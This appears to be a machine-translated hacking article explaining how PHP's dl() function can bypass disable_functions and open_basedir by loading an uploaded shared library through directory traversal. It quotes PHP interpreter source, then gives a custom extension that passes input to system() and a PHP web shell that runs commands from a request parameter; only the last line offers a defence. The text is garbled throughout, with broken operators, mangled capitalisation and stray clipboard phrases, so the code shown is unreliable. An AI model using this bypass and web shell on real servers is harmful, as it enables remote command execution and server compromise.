Article submission: T_Torchidy (jnchaha_at_163.com)
PHP is a powerful and widely used scripting language. Most websites use the PHP architecture. Because it provides powerful file operations and system interaction functions, most servers impose strict restrictions on PHP, including using open_basedir to restrict accessible directories and using disable_functions to restrict the use of some functions that can directly execute system commands, such as system, exec, passthru, shell_exec, proc_open, and so on. However, if the server does not impose restrictions on the dl () function, you can use the dl () function to bypass these restrictions.
The dl () function allows the php module to be dynamically loaded in the php script. By default, the extension in the extension_dir directory is loaded. This option can be modified within the PHP_INI_SYSTEM range and can only be used in php. ini or apache main configuration file. Of course, you can also use the enable_dl option to disable the dynamic loading function. The default value of this option is On, which is rarely noticed. The dl () function has a security vulnerability during design. You can use the ../Directory Traversal method to specify to LOAD extension files such as so in any directory. extension_dir restrictions can be skipped at will. Therefore, we can upload our own so file, use the dl function to load this so file, and then use the function in the so file to execute other operations, including system commands. Copy the content to the clipboard code:
PHP_FUNCTION (dl)
{
Pval ** file;
# Ifdef ZTS
If (strncmp (sapi_module.name, "cgi", 3 )! = 0 )&&
(Strcmp (sapi_module.name, "cli ")! = 0 )&&
(Strncmp (sapi_module.name, "embed", 5 )! = 0 )){
Php_error_docref (NULL TSRMLS_CC, E_WARNING, "Not supported in multithreaded Web servers-use extension statements in your php. ini ");
RETURN_FALSE;
} // Verify whether the dl function can be used. This function is not allowed in multi-threaded web servers.
# Endif
/* Obtain arguments */
If (ZEND_NUM_ARGS ()! = 1 | zend_get_parameters_ex (1, & file) = FAILURE ){
WRONG_PARAM_COUNT;
}
Convert_to_string_ex (file); // obtain the Parameter
If (! PG (enable_dl )){
Php_error_docref (NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extentions arent enabled"); // verify whether enable_dl is enabled. The default value is on
} Else if (PG (safe_mode )){
Php_error_docref (NULL TSRMLS_CC, E_WARNING, "Dynamically loaded extensions arent allowed when running in Safe Mode"); // verify whether safe_mode is enabled
} Else {
Php_dl (* file, MODULE_TEMPORARY, return_value TSRMLS_CC); // start calling and Loading
EG (full_tables_cleanup) = 1;
} The following is the code for loading the copied content to the clipboard of the processing module:
Void php_dl (pval * file, int type, pval * return_value TSRMLS_DC)
{
Void * handle;
Char * libpath;
Zend_module_entry * module_entry, * tmp;
Zend_module_entry * (* get_module) (void );
Int error_type;
Char * extension_dir; // defines some variables.
If (type = MODULE_PERSISTENT ){
/* Use the configuration hash directly, the INI mechanic is not yet initialized */
If (performance_get_string ("extension_dir", & extension_dir) = FAILURE ){
Extension_dir = PHP_EXTENSION_DIR;
}
} Else {
Extension_dir = PG (extension_dir );
} // Obtain the setting in php. ini, that is, the extension_dir directory.
If (type = MODULE_TEMPORARY ){
Error_type = E_WARNING;
} Else {
Error_type = E_CORE_WARNING;
}
If (extension_dir & extension_dir [0]) {
Int extension_dir_len = strlen (extension_dir );
Libpath = emalloc (extension_dir_len + Z_STRLEN_P (file) + 2 );
If (IS_SLASH (extension_dir [extension_dir_len-1]) {
Sprintf (libpath, "% s", extension_dir, Z_STRVAL_P (file);/* SAFE */
} Else {
Sprintf (libpath, "% s % c % s", extension_dir, DEFAULT_SLASH, Z_STRVAL_P (file);/* SAFE */
} // Construct the final so file location. It is just a simple addition and does not check the passed parameters, including open_basedir.
} Else {
Libpath = estrndup (Z_STRVAL_P (file), Z_STRLEN_P (file ));
}
/* Load dynamic symbol */
Handle = DL_LOAD (libpath); // you can call any so! The next step is to write your own so module and call it. According to the official module writing method, I wrote a very simple export function loveshell: copy the content to the clipboard code:
PHP_FUNCTION (loveshell)
{
Char * command;
Int command_len;
If (ZEND_NUM_ARGS ()! = 1 | zend_parse_parameters (ZEND_NUM_ARGS () TSRMLS_CC, "s", & command, & command_len) = FAILURE ){
WRONG_PARAM_COUNT;
}
System (command );
Zend_printf ("I recieve % s", command );
} Note that because php4 and php5 have different structures, if you want to smoothly call the extension, you must compile the above Code in the php4 environment, php5 must be compiled in the php5 environment. After uploading the compiled extensions to the server, we can use the following code to execute the command: copy the content to the clipboard code:
<? Php
Dl (.../../www/users/www.cnbct.org/loveshell.so );
$ Cmd = $ _ REQUEST [c]. "2> & 1> tmp.txt ";
Loveshell ($ cmd );
Echo "";
Echo file_get_contents(tmp.txt );
?>
To ensure server security, add this function to disable_functions or enable security mode. In security mode, the dl function is unconditionally prohibited! :)